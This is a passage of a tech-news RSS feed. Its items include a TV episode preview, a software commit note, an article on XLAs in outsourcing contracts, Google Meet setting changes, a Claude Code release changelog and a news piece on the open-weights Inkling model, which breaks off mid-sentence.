<content:encoded><![CDATA[  submitted by   <a href="https://www.reddit.com/user/unixbhaskar"> /u/unixbhaskar </a> <br> <span><a href="https://lore.kernel.org/all/xmqqwluqnc5y.fsf@gitster.g/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v14jwu/git_sendmail_uncanny_completion_behavioralthough/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[‘Agent Kim Reactivated’ Episode 9 Release Date and What to Expect]]></title>
<description><![CDATA[Agent Kim Reactivated Episode 9 will release on Friday, July 24, 2026, as Kim Do-hyeon enters the final stage of his dangerous mission.



The upcoming episode will continue directly after Episode 8’s cliffhanger, which placed Do-hyeon and General Ri in a difficult position. With only two regular...]]></description>
<link>https://tsecurity.de/de/3679678/ios-mac-os/agent-kim-reactivated-episode-9-release-date-and-what-to-expect/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679678/ios-mac-os/agent-kim-reactivated-episode-9-release-date-and-what-to-expect/</guid>
<pubDate>Sun, 19 Jul 2026 17:24:40 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Agent Kim Reactivated Episode 9 will release on Friday, July 24, 2026, as Kim Do-hyeon enters the final stage of his dangerous mission.



The upcoming episode will continue directly after Episode 8’s cliffhanger, which placed Do-hyeon and General Ri in a difficult position. With only two regular episodes remaining, the story is moving toward its final rescue mission and confrontation.



Agent Kim Reactivated Episode 9 release details




Episode 9 release date: Friday, July 24, 2026



Episode 10 release date: Saturday, July 25, 2026



Broadcast time: 9:50 p.m. KST



Network: SBS



Streaming platform: Netflix



Genre: Action, thriller, drama and comedy



Total regular episodes: 10



Based on: The Manager Kim webtoon




The series releases two episodes every week on Friday and Saturday. Episode 9 begins the final weekend, while Episode 10 will conclude the main story.



What happened before Episode 9?



Spoilers ahead for Episodes 7 and 8.



Kim Do-hyeon finally rescued his daughter, Min-ji, after facing the people responsible for her kidnapping. He also confronted Ju Gang-chan, who tried to convince him to join his side by promising money and protection.



Do-hyeon defeated Gang-chan but stopped before killing him after Min-ji intervened. He later shared an emotional farewell with his daughter and surrendered to the agency, believing that she would remain safe.



The agency then gave him one final mission. Do-hyeon must protect General Ri, a high-ranking North Korean defector connected to his past. Successful completion of the mission would allow Do-hyeon and Min-ji to receive new identities and begin a safer life.



However, Gang-chan exposed General Ri’s location to North Korean officials. Episode 8 ended when Mole Cricket arrived at Park Jin-cheol’s hideout and announced that Do-hyeon had failed. He also ordered General Ri’s return to North Korea.



What to expect from Agent Kim Reactivated Episode 9



The Episode 9 preview suggests that Do-hyeon and General Ri will be taken toward North Korea, where General Ri faces interrogation. Do-hyeon will need to find another escape route while protecting the man he was ordered to save.



Park Jin-cheol and Seong Han-soo are also expected to return for the counterattack. Their friendship with Do-hyeon has become an important part of the series, especially as the former agents work together against stronger government and criminal forces.



The preview also hints at another meeting between Do-hyeon and Ju Gang-chan. Do-hyeon appears ready to offer Gang-chan a deal, although trusting him remains dangerous after his repeated attacks against Min-ji and General Ri.



Episode 9 should include gunfights, escape attempts and a high-risk rescue operation as Do-hyeon tries to complete his mission. Gang-chan’s warning that their children will suffer if anyone harms him also raises the possibility that Min-ji could face another threat before the finale.



The story is heading toward a final family reunion



Agent Kim Reactivated began with Do-hyeon leaving his quiet life behind after Min-ji disappeared. Since then, the series has revealed his background as a former black-ops agent and the sacrifices he made to become an ordinary father.



Episode 9 will bring those two sides of his life together. Do-hyeon must survive one final mission before he can return to Min-ji, while his enemies continue using his family as pressure against him.



Do you think Do-hyeon will complete his mission and reunite with Min-ji, or will Ju Gang-chan create one final problem? Let us know in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[release-publish/556a2ee276f0-20260718: feat(cron): add per-job dynamic cadence (#110978)]]></title>
<description><![CDATA[Add optional per-job pacing bounds across the cron API, CLI, tool schema, public output, and SQLite job envelope, requiring at least one bound. Allow only the currently running paced job to record a one-shot next_check proposal and carry it through isolated-run completion.
After successful runs, ...]]></description>
<link>https://tsecurity.de/de/3678588/downloads/release-publish556a2ee276f0-20260718-featcron-add-per-job-dynamic-cadence-110978/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678588/downloads/release-publish556a2ee276f0-20260718-featcron-add-per-job-dynamic-cadence-110978/</guid>
<pubDate>Sun, 19 Jul 2026 01:01:43 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Add optional per-job pacing bounds across the cron API, CLI, tool schema, public output, and SQLite job envelope, requiring at least one bound. Allow only the currently running paced job to record a one-shot next_check proposal and carry it through isolated-run completion.</p>
<p>After successful runs, clamp the proposal to the job bounds and persist an exact one-shot slot marker so maintenance preserves only that timestamp. Clear the marker on runs, edits, and schedule normalization; preserve existing no-proposal, skip, timeout, and error scheduling behavior.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How to add XLAs to your outsourcing contract]]></title>
<description><![CDATA[Organizations usually face the same questions concerning XLAs: What should we measure, who owns the data, how should incentives work, and how will this change provider behavior after signature.



There are no easy answers either, but after advising clients in MSP relationships with major provide...]]></description>
<link>https://tsecurity.de/de/3675704/it-nachrichten/how-to-add-xlas-to-your-outsourcing-contract/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675704/it-nachrichten/how-to-add-xlas-to-your-outsourcing-contract/</guid>
<pubDate>Fri, 17 Jul 2026 12:17:06 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Organizations usually face the same questions concerning XLAs: What should we measure, who owns the data, how should incentives work, and how will this change provider behavior after signature.</p>



<p class="wp-block-paragraph">There are no easy answers either, but after advising clients in MSP relationships with major providers, I’ve seen what works and what doesn’t. Successful XLA programs rarely start with massive transformation, nor rely on perfection before adding experience accountability to the contract.</p>



<h2 class="wp-block-heading">Start with the right metrics</h2>



<p class="wp-block-paragraph">The first concern I hear is what to measure. MSPs often steer that discussion toward metrics already in their reporting stack. That’s a trap.</p>



<p class="wp-block-paragraph">Unlike SLAs, which measure operational outputs, XLAs should focus on employee experience and <a href="https://www.cio.com/article/4166168/cios-rethink-its-operating-model-to-deliver-better-business-outcomes.html?utm=hybrid_search">business outcomes</a>. The strongest programs start with three to five high-signal metrics tied to the employee journeys creating the most friction. More than that and the program loses focus before it gains traction.</p>



<p class="wp-block-paragraph">I typically recommend starting with employee satisfaction scores, perceived lost productivity time, repeat incident rates, task completion success, and ease of getting support. Then focus early measurement on common employee experiences like service desk interactions, employee onboarding, application reliability, and device performance.</p>



<p class="wp-block-paragraph">Trying to measure everything is understandable, but it’s also one of the fastest ways to stall an XLA program.</p>



<h2 class="wp-block-heading">Precisely define roles and responsibilities</h2>



<p class="wp-block-paragraph">This is the part of XLA contract design where I spend the most time with clients, and it’s the part that major MSPs are most likely to leave vague if you let them. Accenture and TCS both have mature commercial teams skilled at agreeing to things in principle while avoiding specific accountability in writing. Don’t let that happen here.</p>



<p class="wp-block-paragraph">Employee experience isn’t solely the vendor’s responsibility. It’s genuinely shared, which is a more productive framing than pure vendor accountability, but only if the split is clearly spelled out. This is what I’ve found works in practice.</p>



<p class="wp-block-paragraph"><strong>Customer responsibilities</strong></p>



<ul class="wp-block-list">
<li>Selecting tools and platforms</li>



<li>Managing data infrastructure</li>



<li>Sharing experience data openly with the provider</li>



<li>Supporting internal improvement initiatives that the provider flags</li>
</ul>



<p class="wp-block-paragraph"><strong>Vendor responsibilities</strong></p>



<ul class="wp-block-list">
<li>Running the measurement cadence</li>



<li>Delivering monthly experience reporting</li>



<li>Identifying and surfacing improvement opportunities from the data</li>



<li>Executing operational improvements within agreed timelines</li>
</ul>



<p class="wp-block-paragraph">Without this level of specificity, XLA programs almost always become reporting exercises. The data gets collected, the scorecard gets presented, and nothing actually changes.</p>



<h2 class="wp-block-heading">Build flexible targets</h2>



<p class="wp-block-paragraph">One of the biggest mistakes in <a href="https://www.cio.com/article/4178678/your-outsourcing-contract-needs-xlas-not-just-slas.html?utm=hybrid_search">XLA design</a> is treating experience targets like traditional SLAs,  setting once at contract signing and left unchanged for years. Employee expectations, workforce patterns, and technology environments, after all, evolve constantly. A target that feels ambitious in year one may become meaningless by year three.</p>



<p class="wp-block-paragraph">The strongest XLA contracts include formal reviews every three to six months to recalibrate targets, align with business priorities, and raise expectations as experience improves. This prevents providers from locking in easy wins and coasting. When providers resist review cycles, it’s often a sign they believe the targets can be met on autopilot, a red flag in any XLA program.</p>



<h2 class="wp-block-heading">Use the right scoring method</h2>



<p class="wp-block-paragraph">One overlooked XLA best practice is how experience scores are calculated. Point-in-time scores can be distorted by outages, isolated incidents, or low survey participation, and providers sometimes exploit that volatility.</p>



<p class="wp-block-paragraph">I advise clients to calculate official XLA scores using rolling two-month averages instead of snapshots. It creates a more stable and accurate view of experience trends, and makes operational timing games much harder. Most importantly, define the scoring methodology explicitly in the contract. Don’t leave it to be worked out operationally after signing.</p>



<h2 class="wp-block-heading">Structure incentives carefully</h2>



<p class="wp-block-paragraph">Relying on penalty-only incentives is one of the most expensive XLA mistakes. On paper, the model is simple: miss the target, pay the penalty. In practice, it drives the wrong behavior. Providers focus on protecting themselves instead of improving employee experience, optimizing survey timing, and managing averages rather than solving problems collaboratively.</p>



<p class="wp-block-paragraph">I’ve seen this repeatedly in Infosys, HCL, and TCS relationships. The strongest XLA structures combine risk and reward where providers earn meaningful upside for exceeding targets, innovating, and improving outcomes. Penalties still matter, especially in mature programs, but they can’t be the only lever otherwise the contract becomes another SLA model with better branding.</p>



<h2 class="wp-block-heading">Define escalation processes</h2>



<p class="wp-block-paragraph">When experience scores fall below threshold, the contract needs to specify what happens next. This sounds obvious, but I’ve reviewed many service delivery measurement frameworks in clients’ incumbent MPS contracts that specify financial consequences without defining any collaborative process to address the underlying problem.</p>



<p class="wp-block-paragraph">The escalation language I push clients to include specifies:</p>



<ul class="wp-block-list">
<li>a joint review process triggered when scores fall below threshold.</li>



<li>root cause analysis expectations and timelines.</li>



<li>remediation planning requirements with named owners on both sides.</li>



<li>timelines for corrective action and progress reporting.</li>
</ul>



<p class="wp-block-paragraph">The framing matters as much as the mechanics. Escalation should be positioned as collaborative problem-solving, not blame assignment. Contracts that turn every missed score into a commercial dispute damage the relationship when provider engagement matters most. The best MSPs treat escalation as a shared diagnostic exercise, not a contractual confrontation.</p>



<h2 class="wp-block-heading">Establish an operating rhythm</h2>



<p class="wp-block-paragraph">Signing the contract is the beginning, not the end. In my experience, the organizations that get the most out of XLA programs are those that build a disciplined operating cadence and stick to it. The ones that treat XLAs as a reporting exercise almost never see meaningful improvement.</p>



<p class="wp-block-paragraph">This is the cadence I recommend:</p>



<p class="wp-block-paragraph"><strong>Daily</strong>: Both parties maintain live dashboards showing experience trends, application performance, regional issues, and persona-specific insights to catch emerging issues.</p>



<p class="wp-block-paragraph"><strong>Weekly</strong>: Customer and vendor teams hold focused working sessions to determine what improved experience this week, what hurt it, which remediation actions were completed, and what’s the priority for next week.</p>



<p class="wp-block-paragraph"><strong>Monthly</strong>: Formal governance meetings to review experience scores, improvement actions, root cause discussions, and cross-functional issues that need escalation.</p>



<p class="wp-block-paragraph"><strong>Biannually</strong>: Leadership steering meetings to assess overall experience performance, recalibrate targets, and align the XLA program with evolving business priorities to honestly evaluate whether or not the program is driving the outcomes the organization actually cares about.</p>



<h2 class="wp-block-heading">Common mistakes organizations make</h2>



<p class="wp-block-paragraph">After working through XLA design and implementation with clients across their MSP relationships, the failure modes are predictable. Here’s what to watch for.</p>



<p class="wp-block-paragraph"><strong>Setting targets before establishing a baseline<br></strong>Rushing into targets before understanding your current state is one of the fastest ways to create disputes. Spend the first three to six months gathering baseline data, then negotiate targets based on evidence rather than guesswork.</p>



<p class="wp-block-paragraph"><strong>Measuring too much<br></strong>More metrics don’t create more insight. Frameworks with 20 data points rarely survive operational reality. Start focused and expand gradually.</p>



<p class="wp-block-paragraph"><strong>Hiding the data<br></strong>Transparency is foundational to XLAs. Providers who obscure poor scores, especially when controlling the measurement platform, undermine the entire model. Clients who weaponize the data create the same problem. Build mutual transparency obligations into the contract.</p>



<p class="wp-block-paragraph"><strong>Over-relying on penalties<br></strong>Penalty-only structures recreate legacy SLA behaviors. Balanced incentives drive better long-term outcomes.</p>



<p class="wp-block-paragraph"><strong>Treating XLAs as static<br></strong>Employee expectations, technology, and business priorities evolve constantly. Without formal review cycles, XLA programs quickly become irrelevant<strong>.</strong></p>



<h2 class="wp-block-heading">Start smaller than you think you need to</h2>



<p class="wp-block-paragraph">The organizations that get XLAs right are rarely the ones with the most sophisticated tooling. They’re the ones that stopped waiting for a perfect program and introduced real accountability into the contract with what they had.</p>



<p class="wp-block-paragraph">The most effective starting points are often simple: agree on a focused set of experience metrics, establish a six-month review cycle, commit to shared visibility and data transparency, and create joint accountability for continuous improvement.</p>



<p class="wp-block-paragraph">From there, maturity develops over time. Governance builds trust, data becomes more actionable, and targets evolve alongside business priorities. The relationship shifts from compliance management to outcome-driven partnership.</p>



<p class="wp-block-paragraph">In my experience, the organizations that succeed are the ones that stopped accepting green scorecards at face value and demanded something more meaningful.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why Apple Sued OpenAI, New York Takes on Data Centers, and What to Know about Cyclosporiasis]]></title>
<description><![CDATA[On today’s Uncanny Valley, we unpack OpenAI’s ongoing drama, both legal and reputational, and whether these developments could further hurt the company—particularly in its fight against Anthropic.]]></description>
<link>https://tsecurity.de/de/3674760/it-nachrichten/why-apple-sued-openai-new-york-takes-on-data-centers-and-what-to-know-about-cyclosporiasis/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674760/it-nachrichten/why-apple-sued-openai-new-york-takes-on-data-centers-and-what-to-know-about-cyclosporiasis/</guid>
<pubDate>Fri, 17 Jul 2026 00:32:20 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[On today’s Uncanny Valley, we unpack OpenAI’s ongoing drama, both legal and reputational, and whether these developments could further hurt the company—particularly in its fight against Anthropic.]]></content:encoded>
</item>
<item>
<title><![CDATA[New Google Meet 'Take notes for me' settings for admins and end users]]></title>
<description><![CDATA[To help users remember to capture notes for meetings when it’s most valuable, we’re updating the admin and end user settings that let them pre-configure AI note-taking for Google Meet.Admin settingsPreviously, admins could only enable or disable automatic note-taking for all meetings. Today, we’r...]]></description>
<link>https://tsecurity.de/de/3674707/web-tipps/new-google-meet-take-notes-for-me-settings-for-admins-and-end-users/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674707/web-tipps/new-google-meet-take-notes-for-me-settings-for-admins-and-end-users/</guid>
<pubDate>Thu, 16 Jul 2026 23:56:46 +0200</pubDate>
<category>Web Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>To help users remember to capture notes for meetings when it’s most valuable, we’re updating the admin and end user settings that let them pre-configure AI note-taking for Google Meet.</p><h4>Admin settings</h4><p>Previously, admins could only enable or disable automatic note-taking for all meetings. Today, we’re starting to roll out a third option, which will allow admins to enable automatic note-taking only for meetings with three or more people.</p><p>Customers on <b>Business Standard and Business Plus plans</b> will soon see this setting turned <b>ON by default</b>; the setting will be <b>OFF by default</b> for customers on <b>Enterprise Standard, Enterprise Plus, and Frontline Plus plans, as well as those with the Google AI Pro for Education add-on.</b> There will be no impact to the end user experience on any plan before September 21, 2026. If you want to change your settings, you can do so in the Admin console.</p><p><b>If you currently participate in the <a href="https://workspaceupdates.googleblog.com/2026/02/new-take-notes-for-me-configuration-in-admin-console-for-select-gemini-alpha-customers.html" target="_blank">Gemini Alpha program</a>, and previously tested this setting, it may already be ON.</b> Please review the current state of the settings for your organization in the Admin console before September 21, 2026.</p><p><br></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEic_OSbGR0fwBG4msocDfSSguGINPugjcREgLF4SHipY0cUB__xjm_iRrs7wGhKCVavLJnc5OTvf-iasWbHSfxD4o_1QItnzRBw0qF0sspBY_cOXvT3tv2uZsAg5I5LbTw0QFpDZzTCv4N2U4uQSzT88WWPi4QT7b5__UYYsqc6ayY1rGZhS_fRpP2h9WE/s1836/New%20Google%20Meet%20'Take%20notes%20for%20me'%20settings%20for%20admins%20and%20end%20users%20-%206508.png"><img border="0" data-original-height="948" data-original-width="1836" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEic_OSbGR0fwBG4msocDfSSguGINPugjcREgLF4SHipY0cUB__xjm_iRrs7wGhKCVavLJnc5OTvf-iasWbHSfxD4o_1QItnzRBw0qF0sspBY_cOXvT3tv2uZsAg5I5LbTw0QFpDZzTCv4N2U4uQSzT88WWPi4QT7b5__UYYsqc6ayY1rGZhS_fRpP2h9WE/s1600/New%20Google%20Meet%20'Take%20notes%20for%20me'%20settings%20for%20admins%20and%20end%20users%20-%206508.png"></a></div><h4>End user settings</h4><p>We’re also introducing a way for end users to enable note-taking only for meetings with three or more participants. Once the “For all meetings I host with 3+ guests” option rolls out, users should revisit their settings to confirm they’re configured as desired. This option will become available no sooner than September 21; stay tuned to the Workspace Updates blog to be notified when that rollout starts.</p><p><br></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9v9CuxrTcrnH_UetM2jS-kaJbExG2mXq9SKmhTb7JFEk1bKjkFnf5602JQkscPujszT8qpqOacJaqrNwKyq66Q76ckjHeXPSB46Qwzso2lsNtg2kcfoyEYS0FxuIPoZyeVe3rEhSiKHqlzTqf4nLw_XCHDKw1iOS0nsJ9zKpoAvF7qSGiQfH60fKsVg4/s2048/New%20Google%20Meet%20'Take%20notes%20for%20me'%20settings%20for%20admins%20and%20end%20users%20-%206508%20-%201.png"><img border="0" data-original-height="1420" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9v9CuxrTcrnH_UetM2jS-kaJbExG2mXq9SKmhTb7JFEk1bKjkFnf5602JQkscPujszT8qpqOacJaqrNwKyq66Q76ckjHeXPSB46Qwzso2lsNtg2kcfoyEYS0FxuIPoZyeVe3rEhSiKHqlzTqf4nLw_XCHDKw1iOS0nsJ9zKpoAvF7qSGiQfH60fKsVg4/s1600/New%20Google%20Meet%20'Take%20notes%20for%20me'%20settings%20for%20admins%20and%20end%20users%20-%206508%20-%201.png"></a></div><h3>Getting started</h3><p></p><ul><li><b>Admins for Business Standard and Business Plus organizations: </b>This new setting is ON by default. If you wish to change your settings, you should do so before September 21, 2026, to avoid any impact for end users. Visit the Help Center for <a href="https://knowledge.workspace.google.com/admin/meet/let-google-meet-ai-take-notes-for-my-users?visit_id=639183605324050647-2510769763&amp;rd=1" target="_blank">more information on how to adjust these settings</a>.</li><li><b>Admins for Enterprise Standard, Enterprise Plus, Frontline Plus, and Google AI Pro for Education organizations:</b> This new setting is OFF by default. You can adjust this setting in the Admin console once it appears, but it will not affect the end user experience before September 21, 2026. Visit the Help Center for <a href="https://knowledge.workspace.google.com/admin/meet/let-google-meet-ai-take-notes-for-my-users?visit_id=639183605324050647-2510769763&amp;rd=1" target="_blank">more information on how to adjust these settings</a>.</li><li><b>Admins for organizations participating in Gemini Alpha program:</b> Your settings may be impacted by previous configurations. Please review your settings before September 21, 2026, to ensure they’re configured correctly.</li><li><b>End users on all plans: </b>The default set by admins will go into effect for end users no sooner than September 21, 2026. Users can override this default in the Meet user settings after that date. Visit the Help Center to <a href="https://support.google.com/meet/answer/16909639" target="_blank">learn more about Meeting settings for “take notes for me”</a>.</li></ul><p></p><h3>Rollout pace</h3><h4>Admin setting</h4><p></p><ul><li><a href="https://support.google.com/a/answer/172177" target="_blank">Rapid Release and Scheduled Release domains:</a> Rolling out now, with expected completion by August 3, 2026</li></ul><p></p><h4>End user setting</h4><p></p><ul><li><a href="https://support.google.com/a/answer/172177" target="_blank">Rapid Release and Scheduled Release domains:</a> Gradual rollout (up to 15 days for feature visibility) starting no sooner than September 21, 2026*</li></ul><p></p><p>*We’ll post an update on the Workspace Updates blog when the end user setting rollout begins.</p><h3>Availability</h3><p></p><ul><li><b>Business:</b> Business Standard and Plus</li><li><b>Enterprise: </b>Enterprise Standard and Plus</li><li><b>Other Editions:</b> Frontline Plus</li><li><b>Education Add-ons:</b> Google AI Pro for Education</li></ul><p></p><h3>Resources</h3><p></p><ul><li>Google Meet Help: <a href="https://support.google.com/meet/answer/14754931" target="_blank">Take notes for me in Google Meet</a></li><li>Google Workspace Updates  Blog: <a href="https://workspaceupdates.googleblog.com/2026/02/new-user-controls-for-take-notes-for-me.html" target="_blank">New user controls for Take notes for me</a></li></ul><p></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[[$] Sched-ext: enqueue() for sub-schedulers and proxy-execution support]]></title>
<description><![CDATA[The extensible
scheduler class (sched_ext) allows the installation of custom CPU
schedulers as a set of BPF programs.  While sched_ext, in its current form,
has already led to a lot of interesting scheduler-development work, the
subsystem itself is still undergoing rapid evolution.  Among other w...]]></description>
<link>https://tsecurity.de/de/3673739/linux-tipps/sched-ext-enqueue-for-sub-schedulers-and-proxy-execution-support/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673739/linux-tipps/sched-ext-enqueue-for-sub-schedulers-and-proxy-execution-support/</guid>
<pubDate>Thu, 16 Jul 2026 16:10:39 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The <a href="https://docs.kernel.org/scheduler/sched-ext.html">extensible
scheduler class</a> (sched_ext) allows the installation of custom CPU
schedulers as a set of BPF programs.  While sched_ext, in its current form,
has already led to a lot of interesting scheduler-development work, the
subsystem itself is still undergoing rapid evolution.  Among other work,
the ability to set up a hierarchy of <a href="https://lwn.net/Articles/1056014/">sub-schedulers</a> is approaching completion, and
a longstanding incompatibility with <a href="https://lwn.net/Articles/934114/">proxy
execution</a> is coming to an end.]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.211]]></title>
<description><![CDATA[What's changed

Added --forward-subagent-text flag and CLAUDE_CODE_FORWARD_SUBAGENT_TEXT environment variable to include subagent text and thinking in stream-json output
Fixed permission previews relayed to chat channels not neutralizing bidirectional-override, zero-width, and look-alike quote ch...]]></description>
<link>https://tsecurity.de/de/3672066/downloads/v21211/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672066/downloads/v21211/</guid>
<pubDate>Thu, 16 Jul 2026 01:16:22 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Added <code>--forward-subagent-text</code> flag and <code>CLAUDE_CODE_FORWARD_SUBAGENT_TEXT</code> environment variable to include subagent text and thinking in stream-json output</li>
<li>Fixed permission previews relayed to chat channels not neutralizing bidirectional-override, zero-width, and look-alike quote characters, so tool inputs cannot visually alter the approval message</li>
<li>Fixed auto mode overriding a PreToolUse hook's <code>ask</code> decision for unsandboxed Bash — a hook <code>ask</code> now floors the decision at a prompt</li>
<li>Fixed parallel Claude Code sessions all logging out simultaneously after wake-from-sleep when many sessions share one credential store</li>
<li>Fixed plugin MCP servers not reconnecting after an idle web session woke, leaving MCP calls failing until the next message</li>
<li>Fixed Claude Code on Vertex and Bedrock attempting the default Opus model at startup and printing a spurious fallback notice when a model is explicitly configured</li>
<li>Fixed subagents spawned with an explicit model override reverting to the parent's model when resumed or sent a follow-up message</li>
<li>Fixed nested <code>.claude/rules/*.md</code> files loading even when setting sources exclude project settings</li>
<li>Fixed file upload validation: filenames ending in a DOS device suffix (<code>.prn</code>) or trailing dot are now accepted, and files with multiple hard links are refused</li>
<li>Fixed file uploads to Claude in Chrome from remote and CLI sessions</li>
<li>Fixed edits that leave the input as "?" being silently swallowed and toggling the shortcuts panel</li>
<li>Fixed a startup hang when the Claude in Chrome extension is enabled but Chrome is not running</li>
<li>Fixed a 300ms delay revealing async content (Settings tabs, Stats, diff views, and other loading states)</li>
<li>Fixed reopening a just-stopped background session from the agents view starting a blank conversation under the same session id</li>
<li>Fixed <code>/loop</code> hiding the session from <code>/resume</code> after a single use</li>
<li>Fixed screen reader users losing the audible terminal bell after <code>/terminal-setup</code> or onboarding terminal setup</li>
<li>Fixed background jobs on LLM gateway auth (<code>ANTHROPIC_AUTH_TOKEN</code> + <code>ANTHROPIC_BASE_URL</code>) coming back "Not logged in" after the daemon respawns them</li>
<li>Fixed <code>claude agents</code> jobs becoming permanently undeletable when git no longer recognizes their worktree — the row now shows why the delete was refused instead of silently reappearing</li>
<li>Fixed <code>/clear</code> not resetting the session cost counter — the statusline's cost now starts at $0 after <code>/clear</code></li>
<li>Fixed Claude in Chrome setup pages failing to open in the browser on Windows</li>
<li>Fixed headless print-mode sessions on Windows crashing or silently exiting when stdin is unreadable</li>
<li>Fixed background session titles in the agents view showing the naming model's refusal text when the prompt contains a link</li>
<li>Fixed background agents killed by the user auto-respawning, and revived agents re-running stale prompts from old sessions</li>
<li>Fixed routines with no schedule reporting a next run time in the year 1</li>
<li>Hardened synced skill/plugin directory naming on Windows and kept CCR web fetch/search proxies working after <code>/clear</code></li>
<li>Improved terminal layout and rendering performance</li>
<li>Improved background agent result reporting — Claude now reports the status of still-running agents and waits for the real completion instead of fabricating results</li>
<li>Improved the memory index over-limit warning to measure only loaded content, excluding frontmatter and HTML comments</li>
<li>Updated integer environment variables (timeouts, token budgets, retry counts) to accept scientific notation and digit-separator spellings like <code>1e6</code> and <code>64_000</code></li>
<li>Updated documentation links to the current docs sites</li>
<li>Changed "always allow" permission rules to save at the repository root, so approvals granted in a git worktree persist across sessions and worktrees</li>
<li>Changed <code>/usage-credits</code> to ask for confirmation before sending a request to organization admins</li>
<li>Changed Vim mode <code>s</code> and <code>S</code> (substitute char/line) to work in NORMAL mode, matching vim behavior</li>
<li>[VSCode] Updated the Remote Control banner to describe what it does</li>
<li>Claude in Chrome: hardened file-upload path validation</li>
<li>Claude in Chrome: <code>save_to_disk</code> on screenshot actions now writes the image to disk and returns the path; previously it did nothing</li>
<li>Fixed a prompt-caching regression on Bedrock, Vertex, Mantle, and Foundry that billed the trailing system context block as fresh input tokens on every request.</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Thinking Machines open sources first multimodal language model, Inkling, focused on low cost and 'resistance to censorship']]></title>
<description><![CDATA[Enterprises looking to move more of their agentic AI workloads to open weights models they can customize, control and run on-premises or in virtual private clouds have a strong new contender to consider.Today, Thinking Machines—the highly capitalized American AI startup founded by former OpenAI C...]]></description>
<link>https://tsecurity.de/de/3672034/it-nachrichten/thinking-machines-open-sources-first-multimodal-language-model-inkling-focused-on-low-cost-and-resistance-to-censorship/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672034/it-nachrichten/thinking-machines-open-sources-first-multimodal-language-model-inkling-focused-on-low-cost-and-resistance-to-censorship/</guid>
<pubDate>Thu, 16 Jul 2026 00:46:37 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Enterprises looking to move more of their agentic AI workloads to open weights models they can customize, control and run on-premises or in virtual private clouds have a strong new contender to consider.</p><p>Today, Thinking Machines—the highly capitalized American AI startup founded by former OpenAI CTO Mira Murati—<a href="https://thinkingmachines.ai/news/introducing-inkling/">released Inkling</a>, its first major language model under an<a href="https://choosealicense.com/licenses/apache-2.0/"> enterprise-friendly Apache 2.0 open source license</a>, and it boasts high, if sub state-of-the-art, performance for open weights models on third-party benchmarks, specifically software engineering (77.6% on SWE-bench Verified, where it beats fellow U.S. open rival Nvidia Nemotron 3's 71.9%) and voice understanding (91.4% on VoiceBench compared to 94.4% for Gemini 3.1 Pro on high reasoning effort).</p><p>Another differentiator: Thinking Machines notes that Inkling was designed "to answer directly on topics that may be subject to censorship," offering enterprises concerned about factual outputs, irrespective of controversy or sensitivity, a more trustworthy option. </p><p>Coming in at 975 billion total parameters, Inkling is a natively multimodal, open-weights Mixture-of-Experts (MoE) system capable of reasoning across text, images, and audio. The weights <a href="https://huggingface.co/thinkingmachines/Inkling">are already available on Hugging Face</a> and the company's own model training application programming interface (API), <a href="https://thinkingmachines.ai/tinker/">Tinker</a>.</p><p>Designed to balance cost against performance through a novel "controllable thinking effort" mechanism, the model represents a significant departure from the black-box scaling strategies of frontier competitors.</p><p>Alongside the flagship model, Thinking Machines also announced a preview of Inkling-Small, a lighter 276-billion-parameter alternative optimized for workloads where low latency and cost are paramount.</p><h2><b>Benchmarks Show a Powerful, High-End, Sub State-of-the-Art Model</b></h2><p>While Inkling is a formidable multimodal engine, it lands in a fiercely competitive 2026 open-weight landscape characterized by highly specialized MoE architectures. Rather than attempting to dominate every leaderboard, Thinking Machines explicitly designed Inkling—with 975 billion total and 41 billion active parameters—as a broad, balanced generalist. </p><p>For example, it comes in near the middle high-end of benchmark performance 1257 on Design Arena’s Agentic Web Dev leaderboard measuring human scores of frontend web design. </p><p>But China’s leading AI labs have produced models with elite reasoning and coding capabilities, posing a stiff challenge to Inkling's generalist approach and ultimately outperforming it on general and coding benchmarks.</p><ul><li><p><b>GLM 5.2:</b> Widely considered the top open-weight reasoning model available in the benchmark set, GLM 5.2 outperforms Inkling on pure coding, agentic, and complex reasoning tasks. It scores 62.1% on SWEBench Pro (Public) compared to Inkling’s 54.3%, and a massive 82.7 on Terminal Bench 2.1 against Inkling’s 63.8. GLM 5.2 